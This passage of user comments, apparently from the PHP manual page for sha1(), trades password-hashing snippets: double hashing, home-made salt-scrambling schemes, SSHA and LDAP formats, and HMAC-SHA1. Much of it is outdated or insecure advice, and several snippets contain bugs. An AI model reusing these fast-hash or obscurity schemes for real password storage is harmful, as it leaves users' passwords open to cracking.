sha1('SALT SECRET TEXT!!@@@aaa0000'.'123');

And a double sha1 will ensure more safety

sha1(sha1('SALT SECRET TEXT'.'123',false),false)

It will require a rainbow table of 20 characters, enough big to be absurdly safe even for a thousand of servers running during a year.
Mohit Mishra 25-Dec-2014 06:52
A combination of md5() and sha1() could be used for creating more secured hash strings. Here is a function which exactly does this download it from http://Webgrape.in/download.php?fileid=10 .
marcin at marcinwolny dot net 29-Jul-2013 03:32
Keep in mind that MD5 is less secure than SHA1.
Older CPUs can calculate MD5 over twice as fast as SHA1. GPUs in parallel calculations can handle MD5 over 3 times as fast as SHA1!

Two Radeon 79xx-series GPUs can calculate a rainbow table for 6-character lowercase MD5 password in... roughly 6 seconds!

Source: http://www.codinghorror.com/blog/2012/04/speed-hashing.html
php at wbhostmax dot de 01-Aug-2012 10:57
<?php
function DoubleSaltedHash($pw, $salt) {
    return sha1($salt.sha1($salt.sha1($pw)));
}

function generate_salt() {
        $dummy = array_merge(range('0', '9'));
        mt_srand((double)microtime()*1000000);
        for ($i = 1; $i <= (count($dummy)*2); $i++)
        {
                $swap = mt_rand(0,count($dummy)-1);
                $tmp = $dummy[$swap];
                $dummy[$swap] = $dummy[0];
                $dummy[0] = $tmp;
        }
        return sha1(substr(implode('',$dummy),0,9));
}
$pw="geheim"
$salt=generate_salt();
echo "hash:".DoubleSaltedHash($pw, $salt);

?>

this is my way to crypt passwords
mgcummings at yahoo dot com 21-Mar-2011 12:46
Thought I might save someone else some time trying to figure out how to generate a hash like MySQL5 PASSWORD() makes using just PHP.

$hash = '*' . sha1(sha1($pass), TRUE));
rich dot sage at gmail dot com 25-Nov-2010 12:59
If you're using Dovecot for mail retrieval and you want to generate SHA1 passwords yourself, you'll need to set the raw_output value to true, then base64_encode the output:

<?php
function makeDovecotPassword($input)
{
  return '{SHA}' . base64_encode(sha1($input, true));
}
?>
Anonymous 28-Oct-2009 05:48
Another solution to the salted hash with salt included directly in the hash, while keeping the same length of the result. If you want to generate a hash, call the function without the second argument. If you want to check a password against a hash, use the hash as the second argument. In this case, the function returns the hash itself on success, or boolean false on failure. You can also specify a hash algorithm as the third argument (otherwise SHA-1 will be used).

<?php
function __hash($password, $obscured = NULL, $algorithm = "sha1")
{
  // whether to use user specified algorithm
  $mode = in_array($algorithm, hash_algos());
  // generate random salt
  $salt = uniqid(mt_rand(), true);
  // hash it
  $salt = $mode ? hash($algorithm, $salt) : sha1($salt);
  // get the length
  $slen = strlen($salt);
  // compute the actual length of salt we will use
  // 1/8 to 1/4 of the hash, with shorter passwords producing longer salts
  $slen = max($slen >> 3, ($slen >> 2) - strlen($password));
  // if we are checking password against a hash, harvest the actual salt from it, otherwise just cut the salt we already have to the proper size
  $salt = $obscured ? __harvest($obscured, $slen, $password) : substr($salt, 0, $slen);
  // hash the password - this is maybe unnecessary
  $hash = $mode ? hash($algorithm, $password) : sha1($password);
  // place the salt in it
  $hash = __scramble($hash, $salt, $password);
  // and hash it again
  $hash = $mode ? hash($algorithm, $hash) : sha1($hash);
  // cut the result so we can add salt and maintain the same length
  $hash = substr($hash, $slen);
  // ... do that
  $hash = __scramble($hash, $salt, $password);
  // and return the result
  return $obscured && $obscured !== $hash ? false : $hash;
}
?>

It uses a random, variable length salt, depending on the length of the password. The functions __scramble() and __harvest() are used to place salt into the hash or pull it out respectively. You can write your own, and of course the strength of the result greatly depends on them. They can be relatively simple yet still quite secure:

<?php
function __scramble($hash, $salt, $password)
{
  return substr($hash, 0, strlen($password)) . $salt . substr($hash, strlen($password));
}

function __harvest($obscured, $slen, $password)
{
  return substr($obscured, min(strlen($password), strlen($obscured) - $slen), $slen);
}
?>

Or they can be ridiculously complicated (my favourite kind):

<?php
function __scramble($hash, $salt, $password)
{
  $k = strlen($password); $j = $k = $k > 0 ? $k : 1; $p = 0; $index = array(); $out = ""; $m = 0;
  for ($i = 0; $i < strlen($salt); $i++)
  {
    $c = substr($password, $p, 1);
    $j = pow($j + ($c !== false ? ord($c) : 0), 2) % (strlen($hash) + strlen($salt));
    while (array_key_exists($j, $index))
      $j = ++$j % (strlen($hash) + strlen($salt));
    $index[$j] = $i;
    $p = ++$p % $k;
  }
  for ($i = 0; $i < strlen($hash) + strlen($salt); $i++)
    $out .= array_key_exists($i, $index) ? $salt[$index[$i]] : $hash[$m++];
  return $out;
}

function __harvest($obscured, $slen, $password)
{
  $k = strlen($password); $j = $k = $k > 0 ? $k : 1; $p = 0; $index = array(); $out = "";
  for ($i = 0; $i < $slen; $i++)
  {
    $c = substr($password, $p, 1);
    $j = pow($j + ($c !== false ? ord($c) : 0), 2) % strlen($obscured);
    while (in_array($j, $index))
      $j = ++$j % strlen($obscured);
    $index[$i] = $j;
    $p = ++$p % $k;
  }
  for ($i = 0; $i < $slen; $i++)
    $out .= $obscured[$index[$i]];
  return $out;
}
?>
paul 15-Apr-2009 06:57
I believe this offers best amount of protection using a random salt, that has to be stored so it can be used later for verification.

If no salt is given (which can be retrieved by halving the output and taking the first half), then it will generate a random salt, hash it, place it in a position relative to the length of password (between 0 and length of hash type(sha1? md5?)) within the hashed password, and then hash the complete string.

This results in a password hash using a salt that is dynamically placed dependant on password length. The salt used is then appended to the front of the finished hash so it can be retrieved later on for verifying.

Seeing as users will choose a typical password of between 5 and say 15 characters long, this gives them an extra 10 times the amount of dictionary attacks to try out with the hash as it could be placed in any position, because this is a random generated salt too, it means at least 10 dictionary attacks (with possiblity of upto 40) for each instance a password is created, to try and work out your sha1 encrypted password.

If you change your password say every month, even if someone gets a look in at your file through a local exploit, the amount of time to work out your password would far outweigh the frequency at which you change it.

Nothing is secure, but this should take them longer to work out then the time you change it. That is at least by todays technologies.

Paul

<?php
    function createHash($inText, $saltHash=NULL, $mode='sha1'){
        // hash the text //
        $textHash = hash($mode, $inText);
        // set where salt will appear in hash //
        $saltStart = strlen($inText);
        // if no salt given create random one //
        if($saltHash == NULL) {
            $saltHash = hash($mode, uniqid(rand(), true));
        }
        // add salt into text hash at pass length position and hash it //
        if($saltStart > 0 && $saltStart < strlen($saltHash)) {
            $textHashStart = substr($textHash,0,$saltStart);
            $textHashEnd = substr($textHash,$saltStart,strlen($saltHash));
            $outHash = hash($mode, $textHashEnd.$saltHash.$textHashStart);
        } elseif($saltStart > (strlen($saltHash)-1)) {
            $outHash = hash($mode, $textHash.$saltHash);
        } else {
            $outHash = hash($mode, $saltHash.$textHash);
        }
        // put salt at front of hash //
        $output = $saltHash.$outHash;
        return $output;
    }
?>
mVamer 07-Jan-2009 05:49
If I correctly understand what ranko84 is on about, this would be a simpler function with roughly the same result.

<?php
function obscure($password, $algorythm = "sha1")
{
        // Get some random salt, or verify a salt.
        // Added by (grosbedo AT gmail DOT com)
        if ($salt == NULL)
        {
            $salt = hash($algorythm, uniqid(rand(), true));
        }

    // Determine the length of the hash.
    $hash_length = strlen($salt);

    // Determine the length of the password.
    $password_length = strlen($password);

    // Determine the maximum length of password. This is only needed if
    // the user enters a very long password. In any case, the salt will
    // be a maximum of half the end result. The longer the hash, the
    // longer the password/salt can be.
    $password_max_length = $hash_length / 2;

    // Shorten the salt based on the length of the password.
    if ($password_length >= $password_max_length)
    {
        $salt = substr($salt, 0, $password_max_length);
    }
    else
    {
        $salt = substr($salt, 0, $password_length);
    }

    // Determine the length of the salt.
    $salt_length = strlen($salt);

    // Determine the salted hashed password.
    $salted_password = hash($algorythm, $salt . $password);

    // If we add the salt to the hashed password, we would get a hash that
    // is longer than a normally hashed password. We don't want that; it
    // would give away hints to an attacker. Because the password and the
    // length of the password are known, we can just throw away the first
    // couple of characters of the salted password. That way the salt and
    // the salted password together are the same length as a normally
    // hashed password without salt.
    $used_chars = ($hash_length - $salt_length) * -1;
    $final_result = $salt . substr($salted_password, $used_chars);

    return $final_result;
}
?>
ranko84 at gmail dot com 16-Dec-2008 08:11
Small update..., well more like fix to the obscure function, replace
<?php
if ($keepLength != NULL)
{
    if ($hSLength != 0)
    {
        $hPassHash = substr($hPassHash, $hLPosition, -$hRPosition);
    }
}
?>

with

<?php
if ($keepLength != NULL)
{
    if ($hSLength != 0)
    {
        if ($hRPosition == 0)
        {
            $hPassHash = substr($hPassHash, $hLPosition);
        }
        else
        {
            $hPassHash = substr($hPassHash, $hLPosition, -$hRPosition);
        }
    }
}
?>

I've been getting few requests to explain how it's used so, this might be little long.

Problems:
1. In most solutions with hash and salt, you were bound to have one extra row in your database that would state, preferably random, salt for that hashed data. If attacker would manage to get drop of your database he would get hashed data and salt that is used with plain data to make it obscure, and then cracking that hashed data would be same as if you didn't add any salt to it.
2. I stumbled upon some functions that would hash data, then input salt into random places in hash and store it in database, but they would still have to write down random parameter used to scramble salt so they could reuse it when validating data. Getting simple database drop wouldn't help much here, but if they would manage to get their hands on obscuring function too, they could easily see what is salt and what hash.

Solutions:
1. Why use extra row to store salt when you can input it in hash. I'm not sure how attackers determine what type of hash are they facing, but I guess it has connection to hash length. In that case, why make attackers job easier and store in database data_hash+salt where they could assume just by it's length it has salt in there.
Reason behind $keepLength. If it's set to 1, strlen of hashed data plus salt would be equal to strlen of hashed data leading attacker to believe there is no salt.
If you leave $keepLength on NULL, strlen of final result would be strlen(used_hash_algorithm)+$hSLength.
$minhPass is there to reserve enough place for string that has to be hashed, so someone using this function wouldn't accidentally delete it by setting too high salt length ($hSLength), for example... if you set it 30000 it will keep working normal.

2. If you think about it, constant, but variable value when making input would be same data that is being input.
In case we're trying to hash password, and have user A with password "notme", password strlen equals to 5, and if we use default parameters of the function, with $keepLength set to 1, process would be:
random salt, hash it, add first 5 characters of hashed_salt at beginning of plain password, add last 5 characters of hashed_salt at end of plain password, hash it. Replace first 5 characters of hashed_password with first 5 character of hashed_salt, do same with last 5 characters of hashed_password, return hashed_password.
In case that string is longer than 10 characters function would use simple mathematics to reduce it to numbers lower than 10, well... lower than number that is stated in $hSLength.
And good thing is that every time user enters correct password it has same length so it's not necessary to write it anywhere.

So what is achieved in the end?
1. Attacker might not know that hash is salted, and you don't have that extra row in your database stating THIS IS SALT FOR THIS HASH.
2. If he does find out that it is, he wouldn't know what is hashed password and what is salt.
3. If he manages to get access to obscure function, only thing that might help him is value of $hSLength, where if $hSLength is set to 10 he would have to crack 10 variations of hashed string since he doesn't know how long password of user he's trying to crack is.
For example first variation would be hashed_password without last 10 characters, second variation would be hashed_password without first character and last 9 characters...
4. Even in case he has enough power to crack all 10 variations, resulting string that he might get doesn't necessarily has to be exactly long as password of original user in which case, attacker fails again.
Andre D 08-Oct-2008 06:28
Here's a better version of the getDigestNotation() function I posted earlier. (The first version had a bug in the argument checking.)

<?php
function getDigestNotation($rawDigest, $bitsPerCharacter, $chars = NULL)
{
    if ($chars === NULL || strlen($chars) < 2) {
        $chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-,';
    }

    if ($bitsPerCharacter < 1) {
        // $bitsPerCharacter must be at least 1
        $bitsPerCharacter = 1;

    } elseif (strlen($chars) < pow(2, $bitsPerCharacter)) {
        // Character length of $chars is too small for $bitsPerCharacter
        // Set $bitsPerCharacter to greatest value allowed by length of $chars
        $bitsPerCharacter = 1;
        $minCharLength = 2;

        while (strlen($chars) >= ($minCharLength *= 2)) {
            $bitsPerCharacter++;
        }

        unset($minCharLength);
    }

    $bytes = unpack('C*', $rawDigest);
    $byteCount = count($bytes);

    $out = '';
    $byte = array_shift($bytes);
    $bitsRead = 0;

    for ($i = 0; $i < $byteCount * 8 / $bitsPerCharacter; $i++) {

        if ($bitsRead + $bitsPerCharacter > 8) {
            // Not enough bits remain in this byte for the current character
            // Get remaining bits and get next byte
            $oldBits = $byte - ($byte >> 8 - $bitsRead << 8 - $bitsRead);

            if (count($bytes) == 0) {
                // Last bits; match final character and exit loop
                $out .= $chars[$oldBits];
                break;
            }

            $oldBitCount = 8 - $bitsRead;
            $byte = array_shift($bytes);
            $bitsRead = 0;

        } else {
            $oldBitCount = 0;
        }

        // Read only the needed bits from this byte
        $bits = $byte >> 8 - ($bitsRead + ($bitsPerCharacter - $oldBitCount));
        $bits = $bits - ($bits >> $bitsPerCharacter - $oldBitCount << $bitsPerCharacter - $oldBitCount);
        $bitsRead += $bitsPerCharacter - $oldBitCount;

        if ($oldBitCount > 0) {
            // Bits come from seperate bytes, add $oldBits to $bits
            $bits = ($oldBits << $bitsPerCharacter - $oldBitCount) | $bits;
        }

        $out .= $chars[$bits];
    }

    return $out;
}
?>
Andr D 06-Oct-2008 12:01
Sometimes you want the digest in both readable notation (such as hexadecimal) and raw binary. At other times you want the digest in a notation other than hexadecimal.

The following getDigestNotation() function takes a binary string and returns it in base 2, 4, 8, 16, 32, or 64 notation. It works with sha1(), md5(), hash(), or anything else that can output a raw binary string.

It works similar to the session.hash_bits_per_character php.ini configuration option.

You can specify which characters to use for each position, or use the default, which matches session.hash_bits_per_character (0-9, a-z, A-Z, "-", ","). The practical range of bits to use per character ($bitsPerCharacter) is 1 to 6; you may use more, but you will have to provide your own base character string ($chars) that is at least pow(2, $bitsPerCharacter) characters long. So even with 7 bits per character you need to specify a value for $chars that is 128 characters long, which exceeds the number of printable ASCII characters.

The output's radix relates to the value of $bitsPerCharacter as follows:
1: base-2 (binary)
2: base-4
3: base-8 (octal)
4: base-16 (hexadecimal)
5: base-32
6: base-64

<?php
$raw = sha1(uniqid(mt_rand(), TRUE), TRUE);

echo getDigestNotation($raw, 6);

function getDigestNotation($rawDigest, $bitsPerCharacter, $chars = NULL)
{
    if ($chars === NULL || strlen($chars) < 2) {
        $chars '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-,';
    }

    if ($bitsPerCharacter < 1) {
        // $bitsPerCharacter must be at least 1
        $bitsPerCharacter = 1;

    } elseif (strlen($chars) < pow(2, $bitsPerCharacter)) {
        // Character length of $chars is too small for $bitsPerCharacter
        // Set $bitsPerCharacter to greatest value allowed by length of $chars
        $bitsPerCharacter = 1;

        do {
            $bitsPerCharacter++;
        } while (strlen($chars) > pow(2, $bitsPerCharacter));
    }

    $bytes = unpack('C*', $rawDigest);
    $byteCount = count($bytes);

    $out = '';
    $byte = array_shift($bytes);
    $bitsRead = 0;

    for ($i = 0; $i < $byteCount * 8 / $bitsPerCharacter; $i++) {

        if ($bitsRead + $bitsPerCharacter > 8) {
            // Not enough bits remain in this byte for the current character
            // Get remaining bits and get next byte
            $oldBits = $byte - ($byte >> 8 - $bitsRead << 8 - $bitsRead);

            if (count($bytes) == 0) {
                // Last bits; match final character and exit loop
                $out .= $chars[$oldBits];
                break;
            }

            $oldBitCount = 8 - $bitsRead;
            $byte = array_shift($bytes);
            $bitsRead = 0;

        } else {
            $oldBitCount = 0;
        }

        // Read only the needed bits from this byte
        $bits = $byte >> 8 - ($bitsRead + ($bitsPerCharacter - $oldBitCount));
        $bits = $bits - ($bits >> $bitsPerCharacter - $oldBitCount << $bitsPerCharacter - $oldBitCount);
        $bitsRead += $bitsPerCharacter - $oldBitCount;

        if ($oldBitCount > 0) {
            // Bits come from seperate bytes, add $oldBits to $bits
            $bits = ($oldBits << $bitsPerCharacter - $oldBitCount) | $bits;
        }

        $out .= $chars[$bits];
    }

    return $out;
}
?>

Lastly, depending on the digest length, there may be fewer bits remaining for the last character than $bitsPerCharacter, so the last character will be smaller. The same thing happens with PHP's session ID generator, when 5 or 6 is used for session.hash_bits_per_character.
ranko84 at gmail dot com 08-May-2008 07:12
Thanks for the feedback. This should do the trick, I hope.
I think that I haven't understood this sentence completely "In this case you will need the salt to reside in the database along with the username and password." As in, were you refering to previous method, this method or this function.
Salt already resides in database along with username, password, or any string you decide to hash. This function just scrambles it depending on length of string (password) user enters so that attacker has trouble finding out what is salt and what is hash, if attacker even suspects that there is salt (reasons behind $keepLength, or defining $hSLength where you could set it to 24 leading attacker to believe he's facing sha256, not sha1).

<?php
function obscure ($hString, $hDecode = NULL, $hSLength = 10, $keepLength = NULL, $minhPass = 10, $hMethod = sha1)
{
    if ($hDecode == NULL)
    {
        for ($i = 0; $i<16; $i++)
        {

            $hSalt = rand(33, 255);
            $hRandomSalt .= chr($hSalt);
        }
        $hRandomSalt = hash($hMethod, $hRandomSalt);
    }
    else
    {
        $hRandomSalt = $hDecode;
    }

    if ($keepLength != NULL)
    {

        if ($hSLength > (strlen($hRandomSalt) - $minhPass))
        {
            $hSLength = (strlen($hRandomSalt) - $minhPass);
        }
    }
    else if ($hSLength < 0)
    {
        $hSLength = 0;
    }

    $hLPosition = strlen($hString);

    while ($hLPosition > $hSLength)
    {
        $hNumber = substr($hLPosition, -1);

        $hLPosition = $hLPosition * ($hNumber/10);
    }

    $hLPosition = (integer)$hLPosition;
    $hRPosition = $hSLength - $hLPosition;

    $hFSalt = substr($hRandomSalt, 0, $hLPosition);
    $hLSalt = substr($hRandomSalt, -$hRPosition, $hRPosition);

    $hPassHash = hash($hMethod, ($hLSalt . $hString . $hFSalt));

    if ($keepLength != NULL)
    {
        if ($hSLength != 0)
        {
            $hPassHash = substr($hPassHash, $hLPosition, -$hRPosition);
        }
    }

    return $hFSalt . $hPassHash . $hLSalt;
}
?>
nathan 25-Feb-2008 08:11
The suggestion below to double-hash your password is not a good idea.  You are much much better off adding a variable salt to passwords before hashing (such as the username or other field that is dissimilar for every account).

Double hashing is *worse* security than a regular hash.  What you're actually doing is taking some input $passwd, converting it to a string of exactly 32 characters containing only the characters [0-9][A-F], and then hashing *that*. You have just *greatly* increased the odds of a hash collision (ie. the odds that I can guess a phrase that will hash to the same value as your password).

sha1(md5($pass)) makes even less sense, since you're feeding in 128-bits of information to generate a 256-bit hash, so 50% of the resulting data is redundant.  You have not increased security at all.
ERASEthemasterswordsman at gmail dot com 10-Feb-2008 06:09
Please note that hashing a has is not completely secure, but can be used as an extra precaution (but not recommended):

<?php

sha1(md5($string));

?>
NoName 13-Sep-2007 03:26
Regarding the twistSTR - the problem is that currently it is relatively easy to generate a collision for any alphanumeric plaintext of a given, short length via e.g. a rainbow table. You're bettter off using a sufficiently lengthy and random salt.
novum123 at ribbonbazaar dot com 29-Nov-2006 08:54
So far as the dictionary attacks are concerned, I thought up the following function:

<?php
function twistSTR($array){
  $twisted="";
  $array_strlen=array();

  foreach ($array as $element){
    $array_strlen[]=strlen($element);
  }

  for ($i=0; $i<max($array_strlen); $i++){
    foreach ($array as $element){
      if ($i<strlen($element)){
        $twisted=$twisted.$element{$i};
      }
    }
  }

  return $twisted;
}
?>

The twistSTR function basically takes an array input of strings and alternates each character of each string among all the other strings.  For example:

<?php
echo twistSTR(array("this","and","that"));//output: tathnhidast
?>

It can be applied in the following manner:

<?php
if ($un===$_POST["username"] && $pwd===sha1(twistSTR(array($salt,$_POST["password"])))){
?>

It's not amazingly difficult to reverse engineer the actual output, but then again, that's not the point.  The point is that when a password is entered into one of those databases, they are going to enter for example "thisandthat", not "tathnhidast".
Gregory Boshoff 18-Oct-2006 04:23
Note that the sha1 algorithm has been compromised and is no longer being used by government agencies.

As of PHP 5.1.2 a new set of hashing functions are available.

http://www.php.net/manual/en/function.hash.php

The new function hash() supports a new range of hashing methods.

echo hash('sha256', 'The quick brown fox jumped over the lazy dog.');

It is recommended that developers start to future proof their applications by using the stronger sha-2, hashing methods such as sha256, sha384, sha512 or better.

As of PHP 5.1.2 hash_algos() returns an array of system specific or registered hashing algorithms methods that are available to PHP.

print_r(hash_algos());
erling dot westenvik at gmail dot com 17-May-2006 06:15
Regarding php at REMOVEMEkennel17 dot co dot uk's note below:

The phrase: "To get the correct behaviour", would perhaps be better off if it read: "To get the wanted (but not recommended) behaviour".

Always honor the expected data types for functions: sha1 expects a string as input, and returns a string on exit. NULL, TRUE and FALSE are not string data types. The string "" is a string as good as "any". By following the "logic" that sha1("") should return "", then what should sha1("a") return? "b"? "c"?

An authentication system that allows for blank passwords is not really an authentication system in the first place. What you are describing is merely a way to tell the application that you want to see data in some specific context, like sorted by user name, etc. Create other tools for this purpose and leave the authentication system to deal with what it is supposed to do: Granting users access to restricted data and blocking other users from seeing the same data.

Don't store passwords in clear text, but salt and encrypt them. That way it makes perfect sense having <?php $sStoredPwd === sha1($sStoredSalt . $_POST["sTypedPwd"]); ?>, even with a blank "password". No other person than the user itself, not even the programmer, should know the password or be able to guess it. If the user forgets the password, a new one must be generated.

Regards,
Erling
php at REMOVEMEkennel17 dot co dot uk 19-Sep-2005 06:52
It should be noted that sha1("") does not return an empty string.  This means that if you are running a system that does not require users to have a password, the following code will not work as expected:

<?php
if ($StoredPassword == sha1($NewPassword))
    // Password good
?>

If $StoredPassword and $NewPassword are both blank, then the password should be treated as good, but because sha1("") != "" it will be treated as bad. To get the correct behaviour you need to use:

<?php
if (($StoredPassword == "" && $NewPassword == "") || ($StoredPassword == sha1($NewPassword)))
    // Password good
?>

(Note: I use a custom IsBlank() function instead of comparison against the empty string, so NULL values are also matched.)

For reference, here are a couple of special values put through sha1().  Note that sha1("") == sha1(NULL) == sha1(false), and also that sha1(0) != sha1(false)

"" -> da39a3ee5e6b4b0d3255bfef95601890afd80709
NULL -> da39a3ee5e6b4b0d3255bfef95601890afd80709
0 -> b6589fc6ab0dc82cf12099d1c2d40ab994e8410c
1 -> 356a192b7913b04c54574d18c28d46e6395428ab
false -> da39a3ee5e6b4b0d3255bfef95601890afd80709
true -> 356a192b7913b04c54574d18c28d46e6395428ab
Dan 05-Sep-2005 10:12
I've noticed websites are now starting to require passwords of a certain length that MUST contain at least 1 non-alphanumeric character. This in itself makes dictionary attacks kind of useless. My web site requires that as well. It uses md5, and appends a site code into the md5 as well. And the include file that contains that site key is outside the public folders. I sure hope I've done enough to keep the bad boys out.
WTM 03-Aug-2005 07:30
Actually, the post by Helpful Harry won't improve your security except for the most simple break in attempts.  Since the random seed is attached to the end of the password hash, if you steal the hashed password, you steal the seed.

That means you can write a simple php program to call the pw_check function Harry included from a loop, feeding it dictionary words or random characters.

Of course, if you modified the program to use the seed in a more complicated way, "they" would have to know the new function's operation.  But then again, if someone can steal your password database, they can probably steal your website code (or guess it).
Helpful Harry 06-Jul-2005 10:21
check out these randomized sha1 password storage functions, they output a string of 50 characters, the first 40 characters being a sha1 output based on the last 10 characters - those being a random seed

to encode a password run pw_encode with the password, it'll return a different pseudo-random string every time - store this value.

to check a password run pw_check with the password attempt and the stored value, it'll return true on a match and false otherwise

these functions eliminate the pesky problem of dictionary matches being run on your password lists

<?php

function pw_encode($password)
{
   for ($i = 1; $i <= 10; $i++)
       $seed .= substr('0123456789abcdef', rand(0,15), 1);
   return sha1($seed.$password.$seed).$seed;
}

function pw_check($password, $stored_value)
{
   if (strlen($stored_value) != 50)
      return FALSE;
   $stored_seed = substr($stored_value,40,10);
   if (sha1($stored_seed.$password.$stored_seed).$stored_seed == $stored_value)
     return TRUE;
   else
     return FALSE;
}

?>
alex at milivojevic dot org 28-Apr-2005 02:12
Regarding my previous comment, if you want to be on the safe side and use only ASCII printable seeds (shouldn't matter for SSHA seeds), something like this could be used:

<?php
$salt = substr(base64_encode(pack("H*", sha1(mt_rand()))), 0, 4);
?>
svn at datapirate dot de 20-Feb-2005 05:26
Wanna use SHA-2 algorithm? Try this:

Download Tar-Ball from http://www.adg.us/computers/sha.html
Compile (may occur some warnings) and test it:

cc -O2 -DSHA2_UNROLL_TRANSFORM -Wall -o sha2 sha2prog.c sha2.c
./sha2test.pl

Copy it to /usr/local/bin/ (don't forget to check permissions)

Here are two functions that could be used with:

function sha2($bits, $string){
    $sha2bin="/usr/local/bin/sha2";
    $echocmd="echo";
    if(!in_array($bits, array(256, 384, 512)))return(false);
    $r=exec($echocmd." ".escapeshellarg($string)."|".$sha2bin." -q -".$bits, $sha2);
    return($sha2[0]);
}

function sha2_file($bits, $filename){
    $sha2bin="/usr/local/bin/sha2";
    if(!in_array($bits, array(256, 384, 512)))return(false);
    if(!file_exists($filename)||!is_readable($filename))return(false);
    $r=exec($sha2bin." -q -".$bits." ".escapeshellarg($filename), $sha2);
    return($sha2[0]);
}

and use it like below:

<?php
$str = 'apple';
if (sha2(256, $str) === '303980bcb9e9e6cdec515230791af8b0ab1aaa244b58a8d99152673aa22197d0') {
   echo "Would you like a green or red apple?";
   exit;
}
?>
sinatosk at gmail dot com 22-Nov-2004 12:43
Heres an SHA1 function that will work on it's own completely. This is for users who are using below PHP 4.3.0. it works same as PHP5 ( being able to return raw output ).

<?php

/*
** Date modified: 1st October 2004 20:09 GMT
*
** PHP implementation of the Secure Hash Algorithm ( SHA-1 )
*
** This code is available under the GNU Lesser General Public License:
** http://www.gnu.org/licenses/lgpl.txt
*
** Based on the PHP implementation by Marcus Campbell
** http://www.tecknik.net/sha-1/
*
** This is a slightly modified version by me Jerome Clarke ( sinatosk@gmail.com )
** because I feel more comfortable with this
*/

function sha1_str2blks_SHA1($str)
{
    $strlen_str = strlen($str);

    $nblk = (($strlen_str + 8) >> 6) + 1;

    for ($i=0; $i < $nblk * 16; $i++) $blks[$i] = 0;

    for ($i=0; $i < $strlen_str; $i++)
    {
        $blks[$i >> 2] |= ord(substr($str, $i, 1)) << (24 - ($i % 4) * 8);
    }

    $blks[$i >> 2] |= 0x80 << (24 - ($i % 4) * 8);
    $blks[$nblk * 16 - 1] = $strlen_str * 8;

    return $blks;
}

function sha1_safe_add($x, $y)
{
    $lsw = ($x & 0xFFFF) + ($y & 0xFFFF);
    $msw = ($x >> 16) + ($y >> 16) + ($lsw >> 16);

    return ($msw << 16) | ($lsw & 0xFFFF);
}

function sha1_rol($num, $cnt)
{
    return ($num << $cnt) | sha1_zeroFill($num, 32 - $cnt);
}

function sha1_zeroFill($a, $b)
{
    $bin = decbin($a);

    $strlen_bin = strlen($bin);

    $bin = $strlen_bin < $b ? 0 : substr($bin, 0, $strlen_bin - $b);

    for ($i=0; $i < $b; $i++) $bin = '0'.$bin;

    return bindec($bin);
}

function sha1_ft($t, $b, $c, $d)
{
    if ($t < 20) return ($b & $c) | ((~$b) & $d);
    if ($t < 40) return $b ^ $c ^ $d;
    if ($t < 60) return ($b & $c) | ($b & $d) | ($c & $d);

    return $b ^ $c ^ $d;
}

function sha1_kt($t)
{
    if ($t < 20) return 1518500249;
    if ($t < 40) return 1859775393;
    if ($t < 60) return -1894007588;

    return -899497514;
}

function sha1($str, $raw_output=FALSE)
{
    if ( $raw_output === TRUE ) return pack('H*', sha1($str, FALSE));

    $x = sha1_str2blks_SHA1($str);
    $a =  1732584193;
    $b = -271733879;
    $c = -1732584194;
    $d =  271733878;
    $e = -1009589776;

    $x_count = count($x);

    for ($i = 0; $i < $x_count; $i += 16)
    {
        $olda = $a;
        $oldb = $b;
        $oldc = $c;
        $oldd = $d;
        $olde = $e;

        for ($j = 0; $j < 80; $j++)
        {
            $w[$j] = ($j < 16) ? $x[$i + $j] : sha1_rol($w[$j - 3] ^ $w[$j - 8] ^ $w[$j - 14] ^ $w[$j - 16], 1);

            $t = sha1_safe_add(sha1_safe_add(sha1_rol($a, 5), sha1_ft($j, $b, $c, $d)), sha1_safe_add(sha1_safe_add($e, $w[$j]), sha1_kt($j)));
            $e = $d;
            $d = $c;
            $c = sha1_rol($b, 30);
            $b = $a;
            $a = $t;
        }

        $a = sha1_safe_add($a, $olda);
        $b = sha1_safe_add($b, $oldb);
        $c = sha1_safe_add($c, $oldc);
        $d = sha1_safe_add($d, $oldd);
        $e = sha1_safe_add($e, $olde);
    }

    return sprintf('%08x%08x%08x%08x%08x', $a, $b, $c, $d, $e);
}

?>
rsemirag at yahoo dot com 02-Nov-2004 10:34
If you're struggling to generate an SHA encoded password for LDAP (PHP < 5.0), what you end up needing is this:

$userpassword = base64_encode(pack("H*", sha1($pass)));

I found this in the OpenLDAP FAQ (many thanks to Google and Ace), though I'm using the iPlanet LDAP server.

Ray Semiraglio
brian_bisaillon at rogers dot com 25-Feb-2004 08:19
Source code to create SSHA passwords...

public function HashPassword($password)
{
  mt_srand((double)microtime()*1000000);
  $salt = mhash_keygen_s2k(MHASH_SHA1, $password, substr(pack('h*', md5(mt_rand())), 0, 8), 4);
  $hash = "{SSHA}".base64_encode(mhash(MHASH_SHA1, $password.$salt).$salt);
  return $hash;
}

Source code to validate SSHA passwords...

public function ValidatePassword($password, $hash)
{
  $hash = base64_decode(substr($hash, 6));
  $original_hash = substr($hash, 0, 20);
  $salt = substr($hash, 20);
  $new_hash = mhash(MHASH_SHA1, $password . $salt);
   if (strcmp($original_hash, $new_hash) == 0)
     ... do something because your password is valid ...
  else
    echo 'Unauthorized: Authorization has been refused for the credentials you provided. Please login with a valid username and password.';
    ... be sure to clear your session data ...
}

Note: The format is compatible with OpenLDAP's SSHA scheme if I'm not mistaken.
mark at dot BANSPAM dot pronexus dot nl 30-Jan-2004 06:28
Looking for a simple function to implement HMAC-SHA1 but don't want to use the entire PEAR Message lib?

//Calculate HMAC-SHA1 according to RFC2104
// http://www.ietf.org/rfc/rfc2104.txt
function hmacsha1($key,$data) {
    $blocksize=64;
    $hashfunc='sha1';
    if (strlen($key)>$blocksize)
        $key=pack('H*', $hashfunc($key));
    $key=str_pad($key,$blocksize,chr(0x00));
    $ipad=str_repeat(chr(0x36),$blocksize);
    $opad=str_repeat(chr(0x5c),$blocksize);
    $hmac = pack(
                'H*',$hashfunc(
                    ($key^$opad).pack(
                        'H*',$hashfunc(
                            ($key^$ipad).$data
                        )
                    )
                )
            );
    return bin2hex($hmac);
}

It is very useful for client-authentication. see also http://cookies.lcs.mit.edu/pubs/webauth:tr.pdf
Optionally you can change $hashfunc to 'md5' to make this an HMAC-MD5 function ;-)
If you want raw or base64 output instead of hexadecimal, just change the last return line.

Cheers,
Mark

p.s. the "$hmac =" line used to be 1 line but I had to cut it up in order to fit it here ;)
labarks 15-Nov-2003 03:06
